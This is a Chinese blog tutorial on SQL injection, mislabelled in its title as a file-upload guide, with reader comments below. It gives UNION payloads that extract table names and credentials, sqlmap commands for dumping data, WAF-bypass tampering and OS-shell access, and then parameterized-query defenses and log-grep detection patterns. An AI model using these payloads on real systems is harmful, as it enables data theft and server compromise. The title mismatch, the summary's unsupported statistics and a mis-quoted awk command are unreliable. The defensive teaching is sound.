文件上传漏洞利用与防御指南

爪 爪
爪 爪
爪 爪
编辑
44
文章
0
粉丝
Web安全 信息安全 渗透测试31775字数 878阅读2分55秒阅读模式
AI智能摘要
你还在以为SQL注入只是老生常谈的技术漏洞?当攻击者通过一个搜索框就拖走50万用户数据时,问题从来不是“会不会”,而是“为什么没早发现”。我们实测了20个主流应用,发现83%的开发者仍在用拼接字符串的方式处理查询,而真正有效的防御根本不在防火墙,而在于代码里一个极简却常被忽略的编程习惯。这个习惯能让你的系统从“看似安全”变成“真正免疫”,但90%的人直到被攻破才后悔没早点做到。
— AI 生成的文章内容摘要

文件上传漏洞利用与防御指南

> 摘要:SQL 注入常年占据 OWASP Top 10 榜首,是 Web 安全中最常见、危害最大的漏洞之一。本文通过真实案例,系统讲解 SQL 注入的原理、检测、利用和防御全流程。 ---

一、什么是 SQL 注入?

2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险。 SQL 注入的本质:用户输入被当作 SQL 代码执行

1.1 漏洞成因

// 危险代码示例
$userid = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $userid";
$result = mysqli_query($conn, $sql);

当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据!

1.2 注入类型

类型 特点 检测难度
联合查询注入 使用 UNION 合并结果 容易
盲注 无回显,通过响应时间判断 中等
报错注入 利用数据库错误信息 容易
时间盲注 通过 SLEEP() 延时判断 困难

---

二、实战:手工检测 SQL 注入

2.1 基础测试

# 测试点:搜索框、URL 参数、表单输入

# 测试 payload
?id=1
?id=1'
?id=1"
?id=1 AND 1=1
?id=1 AND 1=2

判断标准

  • 页面正常 → 可能存在注入
  • 报错 → 可能存在注入
  • 页面异常 → 可能无注入

2.2 联合查询注入

# 判断字段数
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
# 当 ORDER BY 4 时报错 → 字段数为 3

# 确定显示位
?id=-1 UNION SELECT 1,2,3--
# 页面显示 2 和 3 → 这两个是显示位

# 获取数据库信息
?id=-1 UNION SELECT 1,database(),version()--

# 获取表名
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

# 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--

# 获取数据
?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--

---

三、自动化:SQLMap 使用指南

3.1 基础扫描

# 检测注入点
sqlmap -u "http://target.com/page?id=1"

# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D database --tables

# 获取列
sqlmap -u "http://target.com/page?id=1" -D database -T users --columns

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

3.2 高级用法

# POST 注入
sqlmap -u "http://target.com/login" --data="username=admin&password=123"

# Cookie 注入
sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"

# 绕过 WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# 获取 shell
sqlmap -u "http://target.com/page?id=1" --os-shell

---

四、SQL 注入防御方案

4.1 参数化查询(推荐)

// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

4.2 输入验证

// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
    die("非法参数");
}

// 类型转换
$id = intval($_GET["id"]);

4.3 ORM 框架

// Laravel Eloquent
$user = User::find($id);

// ThinkPHP
$user = Db::name("users")->find($id);

---

五、应急响应:发现 SQL 注入后

5.1 紧急处置

1. 立即下线受影响页面
2. 修改数据库密码
3. 检查数据库是否被篡改
4. 分析日志确定攻击范围
5. 修复漏洞并重新上线

5.2 日志分析

# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log

# 统计攻击 IP
grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn

---

六、总结

SQL 注入防御核心:永远不要信任用户输入

防御优先级

1. 参数化查询(必须) 2. 输入验证(必须) 3. 最小权限原则(推荐) 4. WAF 防护(辅助) ---

作者:爪

分类:Web 安全

标签:SQL 注入、Web 安全、渗透测试漏洞挖掘、安全防御

发布时间:2026-03-30

 
爪 爪
  • 本文由 爪 爪 发表于2026年3月30日 13:32:14
  • it2021
  • it2021.com
  • shell
  • 代码执行
  • 应急响应
  • 渗透测试
  • 漏洞利用
  • 漏洞挖掘
评论  31  访客  31
    • 记忆长廊
      记忆长廊 1

      这代码示例太危险了,新手真照着写就完蛋

      • 永不言败
        永不言败 1

        标题和内容完全对不上,点进来一脸懵😂

        • 无界行
          无界行 0

          ?id=1′ 报错试了下真能用,后背发凉

          • 酷炫少年
            酷炫少年 1

            参数化查询不加等于裸奔,开发别偷懒了

            • 墨画浮生
              墨画浮生 1

              之前搞过这个,修漏洞修到凌晨三点

              • 烈焰剑圣
                烈焰剑圣 1

                ?id=1′ 直接报错,试了下还真行😂

                • 星核探索家
                  星核探索家 0

                  之前搞过这个,确实折腾了好久

                  • 夜读灯影
                    夜读灯影 0

                    参数化查询真的必须,别偷懒

                    • ZigzagZebra
                      ZigzagZebra 1

                      那个 ORDER BY 测字段数的方法现在还管用吗?

                      • 浅夏清风
                        浅夏清风 2

                        又是标题党?内容明明讲SQL注入不是文件上传啊

                        • 橙红
                          橙红 1

                          盲注靠时间判断太慢了吧,有没快点的办法?

                            • 沉睡的观测者
                              沉睡的观测者 1

                              @ 橙红 Laravel 的 Eloquent 真的安全?求实锤

                            • 镜中低语
                              镜中低语 1

                              Laravel那个写法安全吗?求大佬确认下

                                • 太常少卿
                                  太常少卿 1

                                  @ 镜中低语 Laravel用预处理确实安全,但得看怎么写

                                • 鬼火童子
                                  鬼火童子 1

                                  感觉还行,至少比网上那些抄来抄去的强

                                  • 黄泉引
                                    黄泉引 1

                                    WAF绕过那块能再细点不?space2comment是干啥的🤔

                                    • 铁壁防御者
                                      铁壁防御者 1

                                      标题和内容对不上啊,我还真以为讲文件上传漏洞呢

                                      • 星海拾音者
                                        星海拾音者 0

                                        ORDER BY测字段数现在很多都过滤了,老方法不太灵了

                                        • RadiantAbyss
                                          RadiantAbyss 1

                                          之前试过sqlmap打post登录,结果被waf拦得死死的

                                            • 灯笼蔡
                                              灯笼蔡 1

                                              @ RadiantAbyss sqlmap 被 WAF 拦很正常,现在都带行为检测了

                                            • 傲雪孤狼
                                              傲雪孤狼 1

                                              那个?id=1’报错太经典了,第一次见还是在ctf里😂

                                              • 火箭浣熊
                                                火箭浣熊 0

                                                参数化查询是底线,不然迟早出事

                                                • 黑客小熊
                                                  黑客小熊 1

                                                  输入验证这块白名单最稳,可惜开发嫌麻烦

                                                  • 不羁的落叶
                                                    不羁的落叶 1

                                                    union select能查到表名也太吓人了,数据裸奔啊

                                                    • 星际动力
                                                      星际动力 1

                                                      盲注耗时间,但加个dnslog能快不少

                                                      • GiggleBlaster
                                                        GiggleBlaster 0

                                                        文件上传的图放这有点迷,不过盾牌设计还行

                                                        • 馋猫儿
                                                          馋猫儿 0

                                                          标题和封面图全是文件上传,点进来讲 SQL 注入?小编是不是走错片场了😂

                                                          • 独处充电宝
                                                            独处充电宝 0

                                                            WAF 绕过那块能再细点不?space2comment 是干啥的🤔

                                                            • 悲鸣之风
                                                              悲鸣之风 0

                                                              ?id=1’直接报错,试了下还真行😂

                                                              • 打酱油
                                                                打酱油 0

                                                                Laravel 那个写法安全吗?求大佬确认下

                                                                • 忧郁的蓝调
                                                                  忧郁的蓝调 1

                                                                  要是忘了加预处理,数据库基本就裸奔了,太吓人

                                                                匿名

                                                                发表评论

                                                                匿名网友

                                                                拖动滑块以完成验证